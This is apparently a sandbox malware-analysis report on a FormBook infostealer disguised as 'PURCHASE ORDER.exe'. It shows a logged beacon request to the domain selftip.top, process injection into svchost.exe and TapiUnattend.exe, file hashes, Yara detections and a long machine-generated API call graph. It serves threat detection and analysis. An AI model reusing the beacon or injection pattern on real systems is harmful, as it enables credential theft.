                                                                        Oct 2, 2024 15:17:51.151731968 CEST520OUTGET /85su/?cvWdIt=+3B6fjGs9Z40sbhVvR4krjlQJIMiXt8F4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgDOfZNWyhFfht/6W034l9DUnQ7Tystood4rLNgn1SUoYWpA==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.selftip.top
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:17:51.735878944 CEST995INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 02 Oct 2024 13:17:51 GMT
                                                                        Server: Apache
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Content-Length: 774
                                                                        X-XSS-Protection: 1; mode=block
                                                                        Connection: close
                                                                        Content-Type: text/html; charset=utf-8
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                                                        Statistics

                                                                        CPU Usage

                                                                        Click to jump to process

                                                                        Memory Usage

                                                                        Click to jump to process

                                                                        High Level Behavior Distribution

                                                                        Click to dive into process behavior distribution

                                                                        Behavior

                                                                        Click to jump to process

                                                                        System Behavior

                                                                        General

                                                                        Target ID:0
                                                                        Start time:09:14:45
                                                                        Start date:02/10/2024
                                                                        Path:C:\Users\user\Desktop\PURCHASE ORDER.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Users\user\Desktop\PURCHASE ORDER.exe"
                                                                        Imagebase:0x400000
                                                                        File size:1'356'947 bytes
                                                                        MD5 hash:34F32E2683E75ED582EE75E5BBFB8A7F
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:low
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:2
                                                                        Start time:09:14:48
                                                                        Start date:02/10/2024
                                                                        Path:C:\Windows\SysWOW64\svchost.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Users\user\Desktop\PURCHASE ORDER.exe"
                                                                        Imagebase:0xf10000
                                                                        File size:46'504 bytes
                                                                        MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:4
                                                                        Start time:09:15:19
                                                                        Start date:02/10/2024
                                                                        Path:C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe"
                                                                        Imagebase:0xac0000
                                                                        File size:140'800 bytes
                                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                        Reputation:high
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:5
                                                                        Start time:09:15:21
                                                                        Start date:02/10/2024
                                                                        Path:C:\Windows\SysWOW64\TapiUnattend.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Windows\SysWOW64\TapiUnattend.exe"
                                                                        Imagebase:0xc60000
                                                                        File size:12'800 bytes
                                                                        MD5 hash:D5BFFD755F566AAACB57CF83FDAA5CD0
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                        Reputation:moderate
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:7
                                                                        Start time:09:15:47
                                                                        Start date:02/10/2024
                                                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                        Imagebase:0x7ff79f9e0000
                                                                        File size:676'768 bytes
                                                                        MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        Disassembly

                                                                        Reset < >

                                                                          Execution Graph

                                                                          Execution Coverage:3.1%
                                                                          Dynamic/Decrypted Code Coverage:1.1%
                                                                          Signature Coverage:3.3%
                                                                          Total number of Nodes:1595
                                                                          Total number of Limit Nodes:39
                                                                          execution_graph 85020 40f110 RegOpenKeyExW 85021 40f13c RegQueryValueExW RegCloseKey 85020->85021 85022 40f15f 85020->85022 85021->85022 85023 429212 85028 410b90 85023->85028 85026 411421 __cinit 74 API calls 85027 42922f 85026->85027 85029 410b9a __write_nolock 85028->85029 85030 41171a 75 API calls 85029->85030 85031 410c31 GetModuleFileNameW 85030->85031 85045 413db0 85031->85045 85033 410c66 _wcsncat 85048 413e3c 85033->85048 85036 41171a 75 API calls 85037 410ca3 _wcscpy 85036->85037 85038 410cd1 RegOpenKeyExW 85037->85038 85039 429bc3 RegQueryValueExW 85038->85039 85040 410cf7 85038->85040 85041 429bf2 _wcscat _wcslen _wcsncpy 85039->85041 85042 429cd9 RegCloseKey 85039->85042 85040->85026 85043 41171a 75 API calls 85041->85043 85044 429cd8 85041->85044 85043->85041 85044->85042 85051 413b95 85045->85051 85081 41abec 85048->85081 85052 413c2f 85051->85052 85057 413bae 85051->85057 85053 413d60 85052->85053 85054 413d7b 85052->85054 85077 417f23 67 API calls __getptd_noexit 85053->85077 85079 417f23 67 API calls __getptd_noexit 85054->85079 85057->85052 85067 413c1d 85057->85067 85073 41ab19 67 API calls __vswprintf_l 85057->85073 85058 413d65 85063 413cfb 85058->85063 85078 417ebb 6 API calls 2 library calls 85058->85078 85061 413d03 85061->85052 85061->85063 85065 413d8e 85061->85065 85062 413cb9 85062->85052 85064 413cd6 85062->85064 85075 41ab19 67 API calls __vswprintf_l 85062->85075 85063->85033 85064->85052 85064->85063 85069 413cef 85064->85069 85080 41ab19 67 API calls __vswprintf_l 85065->85080 85067->85052 85072 413c9b 85067->85072 85074 41ab19 67 API calls __vswprintf_l 85067->85074 85076 41ab19 67 API calls __vswprintf_l 85069->85076 85072->85061 85072->85062 85073->85067 85074->85072 85075->85064 85076->85063 85077->85058 85079->85058 85080->85063 85082 41ac02 85081->85082 85083 41abfd 85081->85083 85090 417f23 67 API calls __getptd_noexit 85082->85090 85083->85082 85089 41ac22 85083->85089 85085 41ac07 85091 417ebb 6 API calls 2 library calls 85085->85091 85088 410c99 85088->85036 85089->85088 85092 417f23 67 API calls __getptd_noexit 85089->85092 85090->85085 85092->85085 85093 401230 85094 401241 _memset 85093->85094 85095 4012c5 85093->85095 85108 401be0 85094->85108 85097 40126b 85098 4012ae KillTimer SetTimer 85097->85098 85099 42aa61 85097->85099 85100 401298 85097->85100 85098->85095 85101 42aa8b Shell_NotifyIconW 85099->85101 85102 42aa69 Shell_NotifyIconW 85099->85102 85103 4012a2 85100->85103 85104 42aaac 85100->85104 85101->85098 85102->85098 85103->85098 85107 42aaf8 Shell_NotifyIconW 85103->85107 85105 42aad7 Shell_NotifyIconW 85104->85105 85106 42aab5 Shell_NotifyIconW 85104->85106 85105->85098 85106->85098 85107->85098 85109 401bfb 85108->85109 85129 401cde 85108->85129 85110 4013a0 75 API calls 85109->85110 85111 401c0b 85110->85111 85112 42a9a0 LoadStringW 85111->85112 85113 401c18 85111->85113 85115 42a9bb 85112->85115 85130 4021e0 85113->85130 85143 40df50 75 API calls 85115->85143 85116 401c2d 85118 401c3a 85116->85118 85119 42a9cd 85116->85119 85118->85115 85120 401c44 85118->85120 85144 40d3b0 75 API calls 2 library calls 85119->85144 85142 40d3b0 75 API calls 2 library calls 85120->85142 85123 42a9dc 85124 42a9f0 85123->85124 85126 401c53 _memset _wcscpy _wcsncpy 85123->85126 85145 40d3b0 75 API calls 2 library calls 85124->85145 85128 401cc2 Shell_NotifyIconW 85126->85128 85127 42a9fe 85128->85129 85129->85097 85131 4021f1 _wcslen 85130->85131 85132 42a598 85130->85132 85134 402205 85131->85134 85135 402226 85131->85135 85148 40c740 85132->85148 85146 404020 75 API calls moneypunct 85134->85146 85147 401380 75 API calls 85135->85147 85138 42a5a2 85139 40220c _memcpy_s 85139->85116 85140 40222d 85140->85138 85141 41171a 75 API calls 85140->85141 85141->85139 85142->85126 85143->85126 85144->85123 85145->85127 85146->85139 85147->85140 85149 40c752 85148->85149 85150 40c747 85148->85150 85149->85138 85150->85149 85153 402ae0 75 API calls _memcpy_s 85150->85153 85152 42a572 _memcpy_s 85152->85138 85153->85152 85154 4034b0 85155 4034b9 85154->85155 85156 4034bd 85154->85156 85157 42a0ba 85156->85157 85158 41171a 75 API calls 85156->85158 85159 4034fe _memcpy_s moneypunct 85158->85159 85160 416193 85197 41718c 85160->85197 85162 41619f GetStartupInfoW 85165 4161c2 85162->85165 85198 41aa31 HeapCreate 85165->85198 85166 416212 85200 416e29 GetModuleHandleW 85166->85200 85170 416223 __RTC_Initialize 85234 41b669 85170->85234 85173 416231 85174 41623d GetCommandLineW 85173->85174 85303 4117af 67 API calls 3 library calls 85173->85303 85249 42235f GetEnvironmentStringsW 85174->85249 85177 41623c 85177->85174 85178 41624c 85255 4222b1 GetModuleFileNameW 85178->85255 85180 416256 85181 416261 85180->85181 85304 4117af 67 API calls 3 library calls 85180->85304 85259 422082 85181->85259 85185 416272 85272 41186e 85185->85272 85188 416279 85190 416284 __wwincmdln 85188->85190 85306 4117af 67 API calls 3 library calls 85188->85306 85278 40d7f0 85190->85278 85193 4162b3 85308 411a4b 67 API calls _doexit 85193->85308 85196 4162b8 _flsall 85197->85162 85199 416206 85198->85199 85199->85166 85301 41616a 67 API calls 3 library calls 85199->85301 85201 416e44 85200->85201 85202 416e3d 85200->85202 85204 416fac 85201->85204 85205 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85201->85205 85309 41177f Sleep GetModuleHandleW 85202->85309 85319 416ad5 70 API calls 2 library calls 85204->85319 85208 416e97 TlsAlloc 85205->85208 85207 416e43 85207->85201 85210 416218 85208->85210 85211 416ee5 TlsSetValue 85208->85211 85210->85170 85302 41616a 67 API calls 3 library calls 85210->85302 85211->85210 85212 416ef6 85211->85212 85310 411a69 6 API calls 4 library calls 85212->85310 85214 416efb 85215 41696e __encode_pointer 6 API calls 85214->85215 85216 416f06 85215->85216 85217 41696e __encode_pointer 6 API calls 85216->85217 85218 416f16 85217->85218 85219 41696e __encode_pointer 6 API calls 85218->85219 85220 416f26 85219->85220 85221 41696e __encode_pointer 6 API calls 85220->85221 85222 416f36 85221->85222 85311 41828b InitializeCriticalSectionAndSpinCount ___lock_fhandle 85222->85311 85224 416f43 85224->85204 85225 4169e9 __decode_pointer 6 API calls 85224->85225 85226 416f57 85225->85226 85226->85204 85312 416ffb 85226->85312 85229 4169e9 __decode_pointer 6 API calls 85230 416f8a 85229->85230 85230->85204 85231 416f91 85230->85231 85318 416b12 67 API calls 5 library calls 85231->85318 85233 416f99 GetCurrentThreadId 85233->85210 85338 41718c 85234->85338 85236 41b675 GetStartupInfoA 85237 416ffb __calloc_crt 67 API calls 85236->85237 85244 41b696 85237->85244 85238 41b8b4 _flsall 85238->85173 85239 41b831 GetStdHandle 85243 41b7fb 85239->85243 85240 416ffb __calloc_crt 67 API calls 85240->85244 85241 41b896 SetHandleCount 85241->85238 85242 41b843 GetFileType 85242->85243 85243->85238 85243->85239 85243->85241 85243->85242 85340 4189e6 InitializeCriticalSectionAndSpinCount _flsall 85243->85340 85244->85238 85244->85240 85244->85243 85246 41b77e 85244->85246 85246->85238 85246->85243 85247 41b7a7 GetFileType 85246->85247 85339 4189e6 InitializeCriticalSectionAndSpinCount _flsall 85246->85339 85247->85246 85250 422370 85249->85250 85251 422374 85249->85251 85250->85178 85251->85251 85252 416fb6 __malloc_crt 67 API calls 85251->85252 85253 422395 _memcpy_s 85252->85253 85254 42239c FreeEnvironmentStringsW 85253->85254 85254->85178 85256 4222e6 _wparse_cmdline 85255->85256 85257 416fb6 __malloc_crt 67 API calls 85256->85257 85258 422329 _wparse_cmdline 85256->85258 85257->85258 85258->85180 85260 42209a _wcslen 85259->85260 85264 416267 85259->85264 85261 416ffb __calloc_crt 67 API calls 85260->85261 85267 4220be _wcslen 85261->85267 85262 422123 85263 413a88 __mtterm 67 API calls 85262->85263 85263->85264 85264->85185 85305 4117af 67 API calls 3 library calls 85264->85305 85265 416ffb __calloc_crt 67 API calls 85265->85267 85266 422149 85268 413a88 __mtterm 67 API calls 85266->85268 85267->85262 85267->85264 85267->85265 85267->85266 85270 422108 85267->85270 85341 426349 67 API calls __vswprintf_l 85267->85341 85268->85264 85270->85267 85342 417d93 10 API calls 3 library calls 85270->85342 85274 41187c __IsNonwritableInCurrentImage 85272->85274 85343 418486 85274->85343 85275 41189a __initterm_e 85276 411421 __cinit 74 API calls 85275->85276 85277 4118b9 __IsNonwritableInCurrentImage __initterm 85275->85277 85276->85277 85277->85188 85279 431bcb 85278->85279 85280 40d80c 85278->85280 85281 4092c0 VariantClear 85280->85281 85282 40d847 85281->85282 85347 40eb50 85282->85347 85285 40d877 85350 411ac6 67 API calls 4 library calls 85285->85350 85288 40d888 85351 411b24 67 API calls __vswprintf_l 85288->85351 85290 40d891 85352 40f370 SystemParametersInfoW SystemParametersInfoW 85290->85352 85292 40d89f 85353 40d6d0 GetCurrentDirectoryW 85292->85353 85294 40d8a7 SystemParametersInfoW 85295 40d8d4 85294->85295 85296 40d8cd FreeLibrary 85294->85296 85297 4092c0 VariantClear 85295->85297 85296->85295 85298 40d8dd 85297->85298 85299 4092c0 VariantClear 85298->85299 85300 40d8e6 85299->85300 85300->85193 85307 411a1f 67 API calls _doexit 85300->85307 85301->85166 85302->85170 85303->85177 85304->85181 85305->85185 85306->85190 85307->85193 85308->85196 85309->85207 85310->85214 85311->85224 85315 417004 85312->85315 85314 416f70 85314->85204 85314->85229 85315->85314 85316 417022 Sleep 85315->85316 85320 422452 85315->85320 85317 417037 85316->85317 85317->85314 85317->85315 85318->85233 85319->85210 85321 42245e _flsall 85320->85321 85322 422476 85321->85322 85326 422495 _memset 85321->85326 85333 417f23 67 API calls __getptd_noexit 85322->85333 85324 42247b 85334 417ebb 6 API calls 2 library calls 85324->85334 85325 422507 HeapAlloc 85325->85326 85326->85325 85329 418407 __lock 66 API calls 85326->85329 85330 42248b _flsall 85326->85330 85335 41a74c 5 API calls 2 library calls 85326->85335 85336 42254e LeaveCriticalSection _doexit 85326->85336 85337 411afc 6 API calls __decode_pointer 85326->85337 85329->85326 85330->85315 85333->85324 85335->85326 85336->85326 85337->85326 85338->85236 85339->85246 85340->85243 85341->85267 85342->85270 85345 41848c 85343->85345 85344 41696e __encode_pointer 6 API calls 85344->85345 85345->85344 85346 4184a4 85345->85346 85346->85275 85391 40eb70 85347->85391 85350->85288 85351->85290 85352->85292 85395 401f80 85353->85395 85355 40d6f1 IsDebuggerPresent 85356 431a9d MessageBoxA 85355->85356 85357 40d6ff 85355->85357 85358 431ab6 85356->85358 85357->85358 85359 40d71f 85357->85359 85488 403e90 75 API calls 3 library calls 85358->85488 85465 40f3b0 85359->85465 85363 40d73a GetFullPathNameW 85485 401440 127 API calls _wcscat 85363->85485 85365 40d77a 85366 40d782 85365->85366 85368 431b09 SetCurrentDirectoryW 85365->85368 85367 40d78b 85366->85367 85489 43604b 6 API calls 85366->85489 85477 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85367->85477 85368->85366 85371 431b28 85371->85367 85373 431b30 GetModuleFileNameW 85371->85373 85375 431ba4 GetForegroundWindow ShellExecuteW 85373->85375 85376 431b4c 85373->85376 85379 40d7c7 85375->85379 85490 401b70 85376->85490 85377 40d795 85385 40d7a8 85377->85385 85486 40e1e0 97 API calls _memset 85377->85486 85383 40d7d1 SetCurrentDirectoryW 85379->85383 85383->85294 85384 431b66 85497 40d3b0 75 API calls 2 library calls 85384->85497 85385->85379 85487 401000 Shell_NotifyIconW _memset 85385->85487 85388 431b72 GetForegroundWindow ShellExecuteW 85389 431b9f 85388->85389 85389->85379 85390 40eba0 LoadLibraryA GetProcAddress 85390->85285 85392 40d86e 85391->85392 85393 40eb76 LoadLibraryA 85391->85393 85392->85285 85392->85390 85393->85392 85394 40eb87 GetProcAddress 85393->85394 85394->85392 85498 40e680 75 API calls 85395->85498 85397 401f90 85499 402940 75 API calls __write_nolock 85397->85499 85399 401fa2 GetModuleFileNameW 85500 40ff90 85399->85500 85401 401fbd 85512 4107b0 75 API calls 85401->85512 85403 401fd6 85404 401b70 75 API calls 85403->85404 85405 401fe4 85404->85405 85513 4019e0 76 API calls 85405->85513 85407 401ff2 85408 4092c0 VariantClear 85407->85408 85409 402002 85408->85409 85410 401b70 75 API calls 85409->85410 85411 40201c 85410->85411 85514 4019e0 76 API calls 85411->85514 85413 40202c 85414 401b70 75 API calls 85413->85414 85415 40203c 85414->85415 85515 40c3e0 75 API calls 85415->85515 85417 40204d 85516 40c060 85417->85516 85421 40206e 85522 4115d0 79 API calls 2 library calls 85421->85522 85423 40207d 85424 42c174 85423->85424 85425 402088 85423->85425 85533 401a70 75 API calls 85424->85533 85523 4115d0 79 API calls 2 library calls 85425->85523 85428 42c189 85534 401a70 75 API calls 85428->85534 85429 402093 85429->85428 85430 40209e 85429->85430 85524 4115d0 79 API calls 2 library calls 85430->85524 85433 42c1a7 85435 42c1b0 GetModuleFileNameW 85433->85435 85434 4020a9 85434->85435 85436 4020b4 85434->85436 85535 401a70 75 API calls 85435->85535 85525 4115d0 79 API calls 2 library calls 85436->85525 85439 4020bf 85441 402107 85439->85441 85450 42c20a _wcscpy 85439->85450 85526 401a70 75 API calls 85439->85526 85440 42c1e2 85536 40df50 75 API calls 85440->85536 85444 402119 85441->85444 85441->85450 85443 42c1f1 85537 401a70 75 API calls 85443->85537 85447 42c243 85444->85447 85528 40e7e0 76 API calls 85444->85528 85448 4020e5 _wcscpy 85527 401a70 75 API calls 85448->85527 85449 42c201 85449->85450 85538 401a70 75 API calls 85450->85538 85452 402132 85529 40d030 76 API calls 85452->85529 85455 40213e 85457 4092c0 VariantClear 85455->85457 85460 402148 85457->85460 85458 402184 85462 4092c0 VariantClear 85458->85462 85460->85458 85530 40d030 76 API calls 85460->85530 85531 40e640 76 API calls 85460->85531 85532 401a70 75 API calls 85460->85532 85464 402196 moneypunct 85462->85464 85464->85355 85466 42ccf4 _memset 85465->85466 85467 40f3c9 85465->85467 85469 42cd05 GetOpenFileNameW 85466->85469 86198 40ffb0 76 API calls moneypunct 85467->86198 85469->85467 85471 40d732 85469->85471 85470 40f3d2 86199 410130 SHGetMalloc 85470->86199 85471->85363 85471->85365 85473 40f3d9 86204 410020 88 API calls __wcsicoll 85473->86204 85475 40f3e7 86205 40f400 85475->86205 85478 42b9d3 85477->85478 85479 41025a LoadImageW RegisterClassExW 85477->85479 86259 443e8f EnumResourceNamesW LoadImageW 85478->86259 86258 4102f0 7 API calls 85479->86258 85482 40d790 85484 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85482->85484 85483 42b9da 85484->85377 85485->85365 85486->85385 85487->85379 85488->85365 85489->85371 85491 401b76 _wcslen 85490->85491 85492 41171a 75 API calls 85491->85492 85495 401bc5 85491->85495 85493 401bad _memcpy_s 85492->85493 85494 41171a 75 API calls 85493->85494 85494->85495 85496 40d3b0 75 API calls 2 library calls 85495->85496 85496->85384 85497->85388 85498->85397 85499->85399 85539 40f5e0 85500->85539 85503 40ffa6 85503->85401 85505 42b6d8 85506 42b6e6 85505->85506 85595 434fe1 85505->85595 85508 413a88 __mtterm 67 API calls 85506->85508 85509 42b6f5 85508->85509 85510 434fe1 106 API calls 85509->85510 85511 42b702 85510->85511 85511->85401 85512->85403 85513->85407 85514->85413 85515->85417 85517 41171a 75 API calls 85516->85517 85518 40c088 85517->85518 85519 41171a 75 API calls 85518->85519 85520 402061 85519->85520 85521 401a70 75 API calls 85520->85521 85521->85421 85522->85423 85523->85429 85524->85434 85525->85439 85526->85448 85527->85441 85528->85452 85529->85455 85530->85460 85531->85460 85532->85460 85533->85428 85534->85433 85535->85440 85536->85443 85537->85449 85538->85460 85599 40f580 85539->85599 85541 40f5f8 _strcat moneypunct 85607 40f6d0 85541->85607 85546 42b2ee 85636 4151b0 85546->85636 85548 40f679 85548->85546 85550 40f681 85548->85550 85623 414e94 85550->85623 85554 40f68b 85554->85503 85558 452574 85554->85558 85555 42b31d 85642 415484 85555->85642 85557 42b33d 85559 41557c _fseek 105 API calls 85558->85559 85560 4525df 85559->85560 86143 4523ce 85560->86143 85563 4525fc 85563->85505 85564 4151b0 __fread_nolock 81 API calls 85565 45261d 85564->85565 85566 4151b0 __fread_nolock 81 API calls 85565->85566 85567 45262e 85566->85567 85568 4151b0 __fread_nolock 81 API calls 85567->85568 85569 452649 85568->85569 85570 4151b0 __fread_nolock 81 API calls 85569->85570 85571 452666 85570->85571 85572 41557c _fseek 105 API calls 85571->85572 85573 452682 85572->85573 85574 4138ba _malloc 67 API calls 85573->85574 85575 45268e 85574->85575 85576 4138ba _malloc 67 API calls 85575->85576 85577 45269b 85576->85577 85578 4151b0 __fread_nolock 81 API calls 85577->85578 85579 4526ac 85578->85579 85580 44afdc GetSystemTimeAsFileTime 85579->85580 85581 4526bf 85580->85581 85582 4526d5 85581->85582 85583 4526fd 85581->85583 85586 413a88 __mtterm 67 API calls 85582->85586 85584 452704 85583->85584 85585 45275b 85583->85585 86149 44b195 85584->86149 85588 413a88 __mtterm 67 API calls 85585->85588 85589 4526df 85586->85589 85591 452759 85588->85591 85592 413a88 __mtterm 67 API calls 85589->85592 85590 452753 85593 413a88 __mtterm 67 API calls 85590->85593 85591->85505 85594 4526e8 85592->85594 85593->85591 85594->85505 85596 434ff1 85595->85596 85597 434feb 85595->85597 85596->85506 85598 414e94 __fcloseall 106 API calls 85597->85598 85598->85596 85600 429440 85599->85600 85601 40f589 _wcslen 85599->85601 85602 40f58f WideCharToMultiByte 85601->85602 85603 40f5d8 85602->85603 85604 40f5ad 85602->85604 85603->85541 85605 41171a 75 API calls 85604->85605 85606 40f5bb WideCharToMultiByte 85605->85606 85606->85541 85608 40f6dd _strlen 85607->85608 85655 40f790 85608->85655 85611 414e06 85674 414d40 85611->85674 85613 40f666 85613->85546 85614 40f450 85613->85614 85618 40f45a _strcat _memcpy_s __write_nolock 85614->85618 85615 4151b0 __fread_nolock 81 API calls 85615->85618 85617 42936d 85619 41557c _fseek 105 API calls 85617->85619 85618->85615 85618->85617 85622 40f531 85618->85622 85757 41557c 85618->85757 85620 429394 85619->85620 85621 4151b0 __fread_nolock 81 API calls 85620->85621 85621->85622 85622->85548 85624 414ea0 _flsall 85623->85624 85625 414ed1 85624->85625 85626 414eb4 85624->85626 85628 415965 __lock_file 68 API calls 85625->85628 85633 414ec9 _flsall 85625->85633 85896 417f23 67 API calls __getptd_noexit 85626->85896 85630 414ee9 85628->85630 85629 414eb9 85897 417ebb 6 API calls 2 library calls 85629->85897 85880 414e1d 85630->85880 85633->85554 85965 41511a 85636->85965 85638 4151c8 85639 44afdc 85638->85639 86136 4431e0 85639->86136 85641 44affd 85641->85555 85643 415490 _flsall 85642->85643 85644 4154bb 85643->85644 85645 41549e 85643->85645 85647 415965 __lock_file 68 API calls 85644->85647 86140 417f23 67 API calls __getptd_noexit 85645->86140 85649 4154c3 85647->85649 85648 4154a3 86141 417ebb 6 API calls 2 library calls 85648->86141 85651 4152e7 __ftell_nolock 71 API calls 85649->85651 85652 4154cf 85651->85652 86142 4154e8 LeaveCriticalSection LeaveCriticalSection __wfsopen 85652->86142 85654 4154b3 _flsall 85654->85557 85656 40f7ae _memset 85655->85656 85658 40f628 85656->85658 85659 415258 85656->85659 85658->85611 85660 415285 85659->85660 85661 415268 85659->85661 85660->85661 85662 41528c 85660->85662 85670 417f23 67 API calls __getptd_noexit 85661->85670 85672 41c551 103 API calls 14 library calls 85662->85672 85665 41526d 85671 417ebb 6 API calls 2 library calls 85665->85671 85667 4152b2 85668 41527d 85667->85668 85673 4191c9 101 API calls 6 library calls 85667->85673 